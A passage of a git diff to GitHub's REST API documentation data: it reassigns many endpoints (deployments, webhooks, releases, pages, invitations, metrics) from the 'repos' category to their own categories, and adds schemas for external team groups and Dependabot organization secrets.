2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Failed commit status checks</h4>\n<p>This error happens when the <code>required_contexts</code> parameter indicates that one or more contexts need to have a <code>success</code>\nstatus for the commit to be deployed, but one or more of the required contexts do not have a state of <code>success</code>.</p>",
@@ -45986,10 +46029,8 @@
       "subcategory": "deployments"
     },
     "slug": "get-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -46070,10 +46111,8 @@
       "subcategory": "deployments"
     },
     "slug": "delete-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "responses": [
       {
@@ -46178,10 +46217,10 @@
       "subcategory": "deployments"
     },
     "slug": "list-deployment-statuses",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view deployment statuses for a deployment:</p>",
@@ -46364,10 +46403,10 @@
       "subcategory": "deployments"
     },
     "slug": "create-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with <code>push</code> access can create deployment statuses for a given deployment.</p>\n<p>GitHub Apps require <code>read &#x26; write</code> access to \"Deployments\" and <code>read-only</code> access to \"Repo contents\" (for private repos). OAuth Apps require the <code>repo_deployment</code> scope.</p>",
@@ -46540,10 +46579,10 @@
       "subcategory": "deployments"
     },
     "slug": "get-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view a deployment status for a deployment:</p>",
@@ -49279,10 +49318,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-repository-webhooks",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -49565,10 +49604,10 @@
       "subcategory": "webhooks"
     },
     "slug": "create-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Repositories can have multiple webhooks installed. Each webhook should have a unique <code>config</code>. Multiple webhooks can\nshare the same <code>config</code> as long as those webhooks do not have any <code>events</code> that overlap.</p>",
@@ -49845,10 +49884,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a webhook configured in a repository. To get only the webhook <code>config</code> properties, see \"<a href=\"/rest/reference/repos#get-a-webhook-configuration-for-a-repository\">Get a webhook configuration for a repository</a>.\"</p>",
@@ -50149,10 +50188,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates a webhook configured in a repository. If you previously had a <code>secret</code> set, you must provide the same <code>secret</code> or set a new <code>secret</code> or the secret will be removed. If you are only updating individual webhook <code>config</code> properties, use \"<a href=\"/rest/reference/repos#update-a-webhook-configuration-for-a-repository\">Update a webhook configuration for a repository</a>.\"</p>",
@@ -50442,10 +50481,10 @@
       "subcategory": "webhooks"
     },
     "slug": "delete-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -50524,10 +50563,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the webhook configuration for a repository. To get more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#get-a-repository-webhook\">Get a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>read:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:read</code> permission.</p>",
@@ -50669,10 +50708,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates the webhook configuration for a repository. To update more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#update-a-repository-webhook\">Update a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>write:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:write</code> permission.</p>",
@@ -50817,10 +50856,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-deliveries-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a list of webhook deliveries for a webhook configured in a repository.</p>",
@@ -50914,10 +50953,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-delivery-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a delivery for a webhook configured in a repository.</p>",
@@ -51011,10 +51050,10 @@
       "subcategory": "webhooks"
     },
     "slug": "redeliver-a-delivery-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "responses": [
       {
@@ -51098,10 +51137,10 @@
       "subcategory": "webhooks"
     },
     "slug": "ping-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -51180,10 +51219,10 @@
       "subcategory": "webhooks"
     },
     "slug": "test-the-push-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -51350,8 +51389,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -51457,8 +51496,8 @@
       "subcategory": "invitations"
     },
     "slug": "update-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "contentType": "application/json",
@@ -51554,8 +51593,8 @@
       "subcategory": "invitations"
     },
     "slug": "delete-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -55545,8 +55584,8 @@
       "subcategory": "keys"
     },
     "slug": "list-deploy-keys",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -55661,8 +55700,8 @@
       "subcategory": "keys"
     },
     "slug": "create-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "contentType": "application/json",
@@ -55774,8 +55813,8 @@
       "subcategory": "keys"
     },
     "slug": "get-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -55858,8 +55897,8 @@
       "subcategory": "keys"
     },
     "slug": "delete-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -56788,10 +56827,8 @@
       "subcategory": "branches"
     },
     "slug": "sync-a-fork-branch-with-the-upstream-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Sync a branch of a forked repository to keep it up-to-date with the upstream repository.</p>",
@@ -56926,10 +56963,8 @@
       "subcategory": "merging"
     },
     "slug": "merge-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "merging",
-    "subcategoryLabel": "Merging",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "",
@@ -58064,10 +58099,8 @@
       "subcategory": "pages"
     },
     "slug": "get-a-github-ae-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -58236,10 +58269,8 @@
       ]
     },
     "slug": "create-a-github-ae-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Configures a GitHub AE Pages site. For more information, see \"<a href=\"/github/working-with-github-pages/about-github-pages\">About GitHub Pages</a>.\"</p>",
@@ -58494,10 +58525,8 @@
       "subcategory": "pages"
     },
     "slug": "update-information-about-a-github-ae-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -58649,10 +58678,8 @@
       ]
     },
     "slug": "delete-a-github-ae-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -58747,10 +58774,8 @@
       "subcategory": "pages"
     },
     "slug": "list-github-ae-pages-builds",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -58816,10 +58841,8 @@
       "subcategory": "pages"
     },
     "slug": "request-a-github-ae-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>You can request that your site be built from the latest revision on the default branch. This has the same effect as pushing a commit to your default branch, but does not require an additional commit. Manually triggering page builds can be helpful when diagnosing build warnings and failures.</p>\n<p>Build requests are limited to one concurrent build per repository and one concurrent build per requester. If you request a build while another is still in progress, the second request will be queued until the first completes.</p>",
@@ -58885,10 +58908,8 @@
       "subcategory": "pages"
     },
     "slug": "get-latest-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -58963,10 +58984,8 @@
       "subcategory": "pages"
     },
     "slug": "get-github-ae-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -63918,10 +63937,8 @@
       "subcategory": "releases"
     },
     "slug": "list-releases",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>This returns a list of releases, which does not include regular Git tags that have not been associated with a release. To get a list of Git tags, use the <a href=\"https://docs.github.com/github-ae@latest/rest/reference/repos#list-repository-tags\">Repository Tags API</a>.</p>\n<p>Information about published releases are available to everyone. Only users with push access will receive listings for draft releases.</p>",
@@ -64072,10 +64089,8 @@
       "subcategory": "releases"
     },
     "slug": "create-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can create a release.</p>\n<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/github-ae@latest/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/github-ae@latest/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>",
@@ -64214,10 +64229,10 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>To download the asset's binary content, set the <code>Accept</code> header of the request to <a href=\"https://docs.github.com/github-ae@latest/rest/overview/media-types\"><code>application/octet-stream</code></a>. The API will either redirect the client to the location, or stream it directly if possible. API clients should handle both a <code>200</code> or <code>302</code> response.</p>",
@@ -64351,10 +64366,10 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release asset.</p>",
@@ -64459,10 +64474,10 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -64527,10 +64542,8 @@
       "subcategory": "releases"
     },
     "slug": "get-the-latest-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>View the latest published full release for the repository.</p>\n<p>The latest release is the most recent non-prerelease, non-draft release, sorted by the <code>created_at</code> attribute. The <code>created_at</code> attribute is the date of the commit used for the release, and not the date when the release was drafted or published.</p>",
@@ -64607,10 +64620,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release-by-tag-name",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Get a published release with the specified tag.</p>",
@@ -64691,10 +64702,8 @@
       "subcategory": "releases"
     },
     "slug": "get-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Note:</strong> This returns an <code>upload_url</code> key corresponding to the endpoint for uploading release assets. This key is a <a href=\"https://docs.github.com/github-ae@latest/rest/overview/resources-in-the-rest-api#hypermedia\">hypermedia resource</a>.</p>",
@@ -64849,10 +64858,8 @@
       "subcategory": "releases"
     },
     "slug": "update-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with push access to the repository can edit a release.</p>",
@@ -64984,10 +64991,8 @@
       "subcategory": "releases"
     },
     "slug": "delete-a-release",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
     "notes": [],
     "responses": [
       {
@@ -65082,10 +65087,10 @@
       "subcategory": "releases"
     },
     "slug": "list-release-assets",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -65200,10 +65205,10 @@
       "subcategory": "releases"
     },
     "slug": "upload-a-release-asset",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "releases",
-    "subcategoryLabel": "Releases",
+    "category": "releases",
+    "categoryLabel": "Releases",
+    "subcategory": "assets",
+    "subcategoryLabel": "Assets",
     "contentType": "*/*",
     "notes": [],
     "bodyParameters": [],
@@ -65916,8 +65921,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -65995,8 +66000,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-last-year-of-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -66074,8 +66079,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-all-contributor-commit-activity",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -66153,8 +66158,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-weekly-commit-count",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -66227,8 +66232,8 @@
       "subcategory": "statistics"
     },
     "slug": "get-the-hourly-commit-count-for-each-day",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "statistics",
     "subcategoryLabel": "Statistics",
     "notes": [],
@@ -66375,8 +66380,8 @@
       "subcategory": "statuses"
     },
     "slug": "create-a-commit-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "contentType": "application/json",
@@ -76055,8 +76060,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations-for-the-authenticated-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -76136,8 +76141,8 @@
       "subcategory": "invitations"
     },
     "slug": "accept-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -76216,8 +76221,8 @@
       "subcategory": "invitations"
     },
     "slug": "decline-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
diff --git a/lib/rest/static/dereferenced/api.github.com.deref.json b/lib/rest/static/dereferenced/api.github.com.deref.json
index dfa619fd11..bd35e46d2b 100644
--- a/lib/rest/static/dereferenced/api.github.com.deref.json
+++ b/lib/rest/static/dereferenced/api.github.com.deref.json
@@ -51777,6 +51777,123 @@
         }
       }
     },
+    "/organizations/{org}/team/{team_slug}/external-groups": {
+      "get": {
+        "summary": "List a connection between an external group and a team",
+        "description": "Lists a connection between a team and an external group.\n\nYou can manage team membership with your identity provider using Enterprise Managed Users for GitHub Enterprise Cloud. For more information, see \"[GitHub's products](https://docs.github.com/github/getting-started-with-github/githubs-products)\" in the GitHub Help documentation.",
+        "tags": [
+          "teams"
+        ],
+        "operationId": "teams/list-linked-external-idp-groups-to-team-for-org",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/teams#list-external-idp-group-team-connection"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "team_slug",
+            "description": "team_slug parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "title": "ExternalGroups",
+                  "description": "A list of external groups available to be connected to a team",
+                  "type": "object",
+                  "properties": {
+                    "groups": {
+                      "description": "An array of external groups available to be mapped to a team",
+                      "example": [
+                        {
+                          "group_id": 1,
+                          "group_name": "group-azuread-test",
+                          "updated_at": "2021-01-03 22:27:15:000 -700"
+                        },
+                        {
+                          "group_id": 2,
+                          "group_name": "group-azuread-test2",
+                          "updated_at": "2021-06-03 22:27:15:000 -700"
+                        }
+                      ],
+                      "type": "array",
+                      "items": {
+                        "type": "object",
+                        "required": [
+                          "group_id",
+                          "group_name",
+                          "updated_at"
+                        ],
+                        "properties": {
+                          "group_id": {
+                            "description": "The internal ID of the group",
+                            "example": 1,
+                            "type": "integer"
+                          },
+                          "group_name": {
+                            "description": "The display name of the group",
+                            "example": "group-azuread-test",
+                            "type": "string"
+                          },
+                          "updated_at": {
+                            "description": "The time of the last update for this group",
+                            "example": "2019-06-03 22:27:15:000 -700",
+                            "type": "string"
+                          }
+                        }
+                      }
+                    }
+                  }
+                },
+                "examples": {
+                  "default": {
+                    "value": {
+                      "groups": [
+                        {
+                          "group_id": "123",
+                          "group_name": "Octocat admins",
+                          "updated_at": "2021-01-24T11:31:04-06:00"
+                        },
+                        {
+                          "group_id": "456",
+                          "group_name": "Octocat docs members",
+                          "updated_at": "2021-03-24T11:31:04-06:00"
+                        }
+                      ]
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": true,
+          "enabledForGitHubApps": true,
+          "previews": [
+
+          ],
+          "category": "teams",
+          "subcategory": "external-groups"
+        }
+      }
+    },
     "/orgs/{org}": {
       "get": {
         "summary": "Get an organization",
@@ -64654,6 +64771,31 @@
             "schema": {
               "type": "string"
             }
+          },
+          {
+            "name": "per_page",
+            "description": "Results per page (max 100)",
+            "in": "query",
+            "schema": {
+              "type": "integer",
+              "default": 30
+            }
+          },
+          {
+            "name": "page",
+            "description": "Page token",
+            "in": "query",
+            "schema": {
+              "type": "integer"
+            }
+          },
+          {
+            "name": "login",
+            "description": "Limits the list of credentials authorizations for an organization to a specific login",
+            "in": "query",
+            "schema": {
+              "type": "string"
+            }
           }
         ],
         "responses": {
@@ -64861,6 +65003,2476 @@
         }
       }
     },
+    "/orgs/{org}/dependabot/secrets": {
+      "get": {
+        "summary": "List organization secrets",
+        "description": "Lists all secrets available in an organization without revealing their encrypted values. You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/list-org-secrets",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#list-organization-secrets"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "per_page",
+            "description": "Results per page (max 100)",
+            "in": "query",
+            "schema": {
+              "type": "integer",
+              "default": 30
+            }
+          },
+          {
+            "name": "page",
+            "description": "Page number of the results to fetch.",
+            "in": "query",
+            "schema": {
+              "type": "integer",
+              "default": 1
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "Response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "required": [
+                    "total_count",
+                    "secrets"
+                  ],
+                  "properties": {
+                    "total_count": {
+                      "type": "integer"
+                    },
+                    "secrets": {
+                      "type": "array",
+                      "items": {
+                        "title": "Dependabot Secret for an Organization",
+                        "description": "Secrets for GitHub Dependabot for an organization.",
+                        "type": "object",
+                        "properties": {
+                          "name": {
+                            "description": "The name of the secret.",
+                            "example": "SECRET_TOKEN",
+                            "type": "string"
+                          },
+                          "created_at": {
+                            "type": "string",
+                            "format": "date-time"
+                          },
+                          "updated_at": {
+                            "type": "string",
+                            "format": "date-time"
+                          },
+                          "visibility": {
+                            "description": "Visibility of a secret",
+                            "enum": [
+                              "all",
+                              "private",
+                              "selected"
+                            ],
+                            "type": "string"
+                          },
+                          "selected_repositories_url": {
+                            "type": "string",
+                            "format": "uri",
+                            "example": "https://api.github.com/organizations/org/dependabot/secrets/my_secret/repositories"
+                          }
+                        },
+                        "required": [
+                          "name",
+                          "created_at",
+                          "updated_at",
+                          "visibility"
+                        ]
+                      }
+                    }
+                  }
+                },
+                "examples": {
+                  "default": {
+                    "value": {
+                      "total_count": 3,
+                      "secrets": [
+                        {
+                          "name": "MY_ARTIFACTORY_PASSWORD",
+                          "created_at": "2021-08-10T14:59:22Z",
+                          "updated_at": "2021-12-10T14:59:22Z",
+                          "visibility": "private"
+                        },
+                        {
+                          "name": "NPM_TOKEN",
+                          "created_at": "2021-08-10T14:59:22Z",
+                          "updated_at": "2021-12-10T14:59:22Z",
+                          "visibility": "all"
+                        },
+                        {
+                          "name": "GH_TOKEN",
+                          "created_at": "2021-08-10T14:59:22Z",
+                          "updated_at": "2021-12-10T14:59:22Z",
+                          "visibility": "selected",
+                          "selected_repositories_url": "https://api.github.com/orgs/octo-org/dependabot/secrets/SUPER_SECRET/repositories"
+                        }
+                      ]
+                    }
+                  }
+                }
+              }
+            },
+            "headers": {
+              "Link": {
